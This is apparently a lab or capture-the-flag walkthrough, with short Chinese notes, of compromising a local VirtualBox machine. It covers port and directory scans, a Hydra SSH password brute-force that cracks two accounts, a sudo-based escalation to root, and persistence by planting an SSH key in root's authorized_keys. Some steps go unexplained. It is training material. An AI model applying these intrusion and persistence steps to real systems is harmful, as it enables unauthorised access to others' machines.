┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.43.155 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.155:21 Open 192.168.43.155:22 Open 192.168.43.155:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.155 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-20 16:52 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 16:52 Completed NSE at 16:52, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 16:52 Completed NSE at 16:52, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 16:52 Completed NSE at 16:52, 0.00s elapsed Initiating ARP Ping Scan at 16:52 Scanning 192.168.43.155 [1 port] Completed ARP Ping Scan at 16:52, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 16:52 Completed Parallel DNS resolution of 1 host. at 16:52, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 16:52 Scanning 192.168.43.155 [3 ports] Discovered open port 21/tcp on 192.168.43.155 Discovered open port 22/tcp on 192.168.43.155 Discovered open port 80/tcp on 192.168.43.155 Completed SYN Stealth Scan at 16:52, 0.01s elapsed (3 total ports) Initiating Service scan at 16:52 Scanning 3 services on 192.168.43.155 Completed Service scan at 16:53, 6.03s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 192.168.43.155 NSE: Script scanning 192.168.43.155. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 16:53 Completed NSE at 16:53, 2.82s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 16:53 Completed NSE at 16:53, 0.03s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 16:53 Completed NSE at 16:53, 0.00s elapsed Nmap scan report for 192.168.43.155 Host is up, received arp-response (0.00060s latency). Scanned at 2026-05-20 16:52:55 CST for 10s
PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 5e:9f:68:a6:47:8a:7a:75:09:8e:8b:34:b1:e1:47:18 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEClu+SpB9toBndoqX83lMJb/rKPnf/gVJ2BVePRgbyarz/U/Zz/kuVdTWNcknZPtdRQJX59DBWg0Oi5yNrVMeI= | 256 49:d8:aa:23:a0:a9:1f:82:fd:89:c6:6d:18:d4:03:80 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZt3nntRQX6nql3Rk/IBsSqNtdqQCrlrzMUcHusBHT3 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian)) |_http-title: Apache2 Debian Default Page: It works | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-server-header: Apache/2.4.59 (Debian) MAC Address: 08:00:27:8F:2D:A2 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=5/20%OT=21%CT=%CU=41173%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A0D7671%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 38.367 days (since Sun Apr 12 08:04:56 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=257 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.60 ms 192.168.43.155
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 16:53 Completed NSE at 16:53, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 16:53 Completed NSE at 16:53, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 16:53 Completed NSE at 16:53, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
┌──(root㉿Eecho)-[~] └─# gobuster dir -u http://192.168.43.155/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.43.155/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: txt,html,back,cgi,jpg,json,md,php [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.html (Status: 200) [Size: 10701] web (Status: 301) [Size: 314] [--> http://192.168.43.155/web/] server-status (Status: 403) [Size: 279]
/web提示鲍勃，检查一下系统是否正在自动运行清理程序。这里提到了Bob
那么先尝试使用hydra爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿Eecho)-[~] └─# hydra -l bob -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.155 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-20 16:57:04 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.43.155:22/ [22][ssh] host: 192.168.43.155 login: bob password: chocolate 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-20 16:57:21
成功获取到凭证，使用ssh登录到bob用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(root㉿Eecho)-[~] └─# ssh bob@192.168.43.155 The authenticity of host '192.168.43.155 (192.168.43.155)' can't be established. ED25519 key fingerprint is: SHA256:d+b+JzmZGkN9nhLEz9cgbjCNit44x/YzVyQylzU82RQ This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.43.155' (ED25519) to the list of known hosts. bob@192.168.43.155's password: Linux chocolate 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. bob@chocolate:~$ id uid=1001(bob) gid=1001(bob) grupos=1001(bob),100(users) bob@chocolate:~$
┌──(root㉿Eecho)-[~] └─# hydra -l secretote -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.155 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-20 17:04:01 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.43.155:22/ [STATUS] 249.00 tries/min, 249 tries in 00:01h, 14344152 to do in 960:08h, 14 active [STATUS] 259.67 tries/min, 779 tries in 00:03h, 14343622 to do in 920:39h, 14 active [22][ssh] host: 192.168.43.155 login: secretote password: chocolate1 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 2 final worker threads did not complete until end. [ERROR] 2 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-20 17:10:00
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. secretote@chocolate:~$ id uid=1002(secretote) gid=1002(secretote) grupos=1002(secretote),100(users) secretote@chocolate:~$
secretote -> root
1 2 3 4 5 6 7
secretote@chocolate:~$ sudo -l [sudo] contraseña para secretote: Matching Defaults entries for secretote on chocolate: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User secretote may run the following commands on chocolate: (ALL : ALL) /usr/bin/man
secretote@chocolate:~$ su eecho Contraseña: root@chocolate:/home/secretote# id uid=0(root) gid=0(root) grupos=0(root) root@chocolate:/home/secretote# cd /home/bob/ root@chocolate:/home/bob#
上传攻击机公钥
靶机
1 2 3 4 5 6 7 8 9 10 11 12
root@chocolate:~# cd .ssh root@chocolate:~/.ssh# ls root@chocolate:~/.ssh# ls -al total 8 drwx------ 2 root root 4096 may 16 2024 . drwx------ 5 root root 4096 may 20 12:00 .. root@chocolate:~/.ssh# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6O0bgXNJ0Cwe9uArz3BaLTMxYolJ29VmSq0Ss7W6gA root@Eecho' > authorized_keys root@chocolate:~/.ssh# ls authorized_keys root@chocolate:~/.ssh# chmod 600 authorized_keys root@chocolate:~/.ssh#
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu May 16 17:27:23 2024 root@chocolate:~# id uid=0(root) gid=0(root) grupos=0(root) root@chocolate:~# cd /home/bob/ root@chocolate:/home/bob#
